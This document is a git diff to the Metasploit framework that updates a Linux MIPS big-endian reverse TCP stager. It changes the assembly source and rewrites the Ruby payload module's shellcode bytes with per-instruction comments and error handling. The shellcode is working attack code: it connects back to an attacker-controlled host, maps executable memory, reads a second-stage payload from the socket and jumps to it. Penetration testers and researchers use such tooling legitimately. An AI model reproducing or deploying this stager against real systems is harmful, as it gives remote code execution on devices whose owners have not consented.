diff --git a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s index 9aba45eea7..290f5a5c4d 100644 --- a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s +++ b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s @@ -1,11 +1,11 @@ ## -# +# # Name: stager_sock_reverse # Type: Stager # Qualities: No Nulls out of the IP / Port data # Platforms: Linux MIPS Big Endian # Authors: juan vazquez -# License: +# License: # # This file is part of the Metasploit Exploit Framework # and is subject to the same licenses and copyrights as @@ -47,8 +47,9 @@ main: slti $a2, $zero, -1 li $v0, 4183 syscall 0x40404 - sw $v0, -4($sp) # store the file descriptor for the socket on the stack - + + sw $v0, -4($sp) # store the file descriptor for the socket on the stack + # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) # a0: sockfd # a1: addr = AF_INET (2) @@ -68,7 +69,7 @@ main: nor $a2, $t4, $zero li $v0, 4170 syscall 0x40404 - + # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) # a0: addr = -1 # a1: lenght = 4096 @@ -91,6 +92,7 @@ main: sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls li $v0, 4090 syscall 0x40404 + sw $v0, -8($sp) # Stores the mmap'ed address on the stack # read(sockfd, addr, 4096) @@ -117,7 +119,7 @@ main: add $a2, $t1, $0 li $v0, 4147 syscall 0x40404 - + # jmp to the stage lw $s1, -8($sp) lw $s2, -4($sp) diff --git a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb index af42e22889..250788f5fa 100644 --- a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb @@ -20,7 +20,8 @@ module MetasploitModule 'Description' => 'Connect back to the attacker', 'Author' => [ - 'juan vazquez' + 'juan vazquez', + 'tkmru' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', @@ -30,26 +31,79 @@ module MetasploitModule { 'Offsets' => { - 'LHOST' => [ [58, 62], 'ADDR16MSB' ], - 'LPORT' => [ 50, 'n' ], + 'LHOST' => [ [66, 70], 'ADDR16MSB' ], + 'LPORT' => [ 58, 'n' ], }, 'Payload' => - "\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5" + - "\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c" + - "\xaf\xa2\xff\xfc\x8f\xa4\xff\xfc\x24\x0f\xff\xfd\x01\xe0" + - "\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x11\x5c\xaf\xae\xff\xe4" + - "\x3c\x0e\x7f\x00\x35\xce\x00\x01\xaf\xae\xff\xe6\x27\xa5" + - "\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a" + - "\x01\x01\x01\x0c\x24\x04\xff\xff\x24\x05\x10\x01\x20\xa5" + - "\xff\xff\x24\x09\xff\xf8\x01\x20\x48\x27\x01\x20\x30\x20" + - "\x24\x07\x08\x02\x24\x0b\xff\xea\x01\x60\x58\x27\x03\xab" + - "\x58\x20\xad\x60\xff\xff\xad\x62\xff\xfb\x24\x02\x0f\xfa" + - "\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x8f\xa4\xff\xfc\x8f\xa5" + - "\xff\xf8\x24\x06\x10\x01\x20\xc6\xff\xff\x24\x02\x0f\xa3" + - "\x01\x01\x01\x0c\x8f\xa4\xff\xf8\x00\x40\x28\x20\x24\x09" + - "\xff\xfd\x01\x20\x48\x27\x01\x20\x30\x20\x24\x02\x10\x33" + - "\x01\x01\x01\x0c\x8f\xb1\xff\xf8\x8f\xb2\xff\xfc\x02\x20" + - "\xf8\x09" + "\x24\x0f\xff\xfa" + # li t7,-6 + "\x01\xe0\x78\x27" + # nor t7,t7,zero + "\x21\xe4\xff\xfd" + # addi a0,t7,-3 + "\x21\xe5\xff\xfd" + # addi a1,t7,-3 + "\x28\x06\xff\xff" + # slti a2,zero,-1 + "\x24\x02\x10\x57" + # li v0,4183 + "\x01\x01\x01\x0c" + # syscall 0x40404 + "\x00\x07\x80\x2a" + # slt s0,zero,a3 + "\x16\x00\x00\x36" + # bnez s0,0x4006bc + "\xaf\xa2\xff\xfc" + # sw v0,-4(sp) + "\x8f\xa4\xff\xfc" + # lw a0,-4(sp) + "\x24\x0f\xff\xfd" + # li t7,-3 + "\x01\xe0\x78\x27" + # nor t7,t7,zero + "\xaf\xaf\xff\xe0" + # sw t7,-32(sp) + "\x3c\x0e\x11\x5c" + # lui t6,0x115c + "\xaf\xae\xff\xe4" + # sw t6,-28(sp) + "\x3c\x0e\x7f\x00" + # lui t6,0x7f00 + "\x35\xce\x00\x01" + # ori t6,t6,0x1 + "\xaf\xae\xff\xe6" + # sw t6,-26(sp) + "\x27\xa5\xff\xe2" + # addiu a1,sp,-30 + "\x24\x0c\xff\xef" + # li t4,-17 + "\x01\x80\x30\x27" + # nor a2,t4,zero + "\x24\x02\x10\x4a" + # li v0,4170 + "\x01\x01\x01\x0c" + # syscall 0x40404 + "\x00\x07\x80\x2a" + # slt s0,zero,a3 + "\x16\x00\x00\x25" + # bnez s0,0x4006bc + "\x24\x04\xff\xff" + # li a0,-1 + "\x24\x05\x10\x01" + # li a1,4097 + "\x20\xa5\xff\xff" + # addi a1,a1,-1 + "\x24\x09\xff\xf8" + # li t1,-8 + "\x01\x20\x48\x27" + # nor t1,t1,zero + "\x01\x20\x30\x20" + # add a2,t1,zero + "\x24\x07\x08\x02" + # li a3,2050 + "\x24\x0b\xff\xea" + # li t3,-22 + "\x01\x60\x58\x27" + # nor t3,t3,zero + "\x03\xab\x58\x20" + # add t3,sp,t3 + "\xad\x60\xff\xff" + # sw zero,-1(t3) + "\xad\x62\xff\xfb" + # sw v0,-5(t3) + "\x24\x02\x0f\xfa" + # li v0,4090 + "\x01\x01\x01\x0c" + # syscall 0x40404 + "\x00\x07\x80\x2a" + # slt s0,zero,a3 + "\x16\x00\x00\x15" + # bnez s0,0x4006bc + "\xaf\xa2\xff\xf8" + # sw v0,-8(sp) + "\x8f\xa4\xff\xfc" + # lw a0,-4(sp) + "\x8f\xa5\xff\xf8" + # lw a1,-8(sp) + "\x24\x06\x10\x01" + # li a2,4097 + "\x20\xc6\xff\xff" + # addi a2,a2,-1 + "\x24\x02\x0f\xa3" + # li v0,4003 + "\x01\x01\x01\x0c" + # syscall 0x40404 + "\x00\x07\x80\x2a" + # slt s0,zero,a3 + "\x16\x00\x00\x0c" + # bnez s0,0x4006bc + "\x8f\xa4\xff\xf8" + # lw a0,-8(sp) + "\x00\x40\x28\x20" + # add a1,v0,zero + "\x24\x09\xff\xfd" + # li t1,-3 + "\x01\x20\x48\x27" + # nor t1,t1,zero + "\x01\x20\x30\x20" + # add a2,t1,zero + "\x24\x02\x10\x33" + # li v0,4147 + "\x01\x01\x01\x0c" + # syscall 0x40404 + "\x00\x07\x80\x2a" + # slt s0,zero,a3 + "\x16\x00\x00\x03" + # bnez s0,0x4006bc + "\x8f\xb1\xff\xf8" + # lw s1,-8(sp) + "\x8f\xb2\xff\xfc" + # lw s2,-4(sp) + "\x02\x20\xf8\x09" + # jalr s1 + # 4006bc : + "\x24\x04\x00\x01" + # li a0,1 + "\x24\x02\x0f\xa1" + # li v0,4001 + "\x01\x01\x01\x0c" + # syscall 0x40404 + "\x00\x20\x08\x25" + # move at,at + "\x00\x20\x08\x25" # move at,at } )) end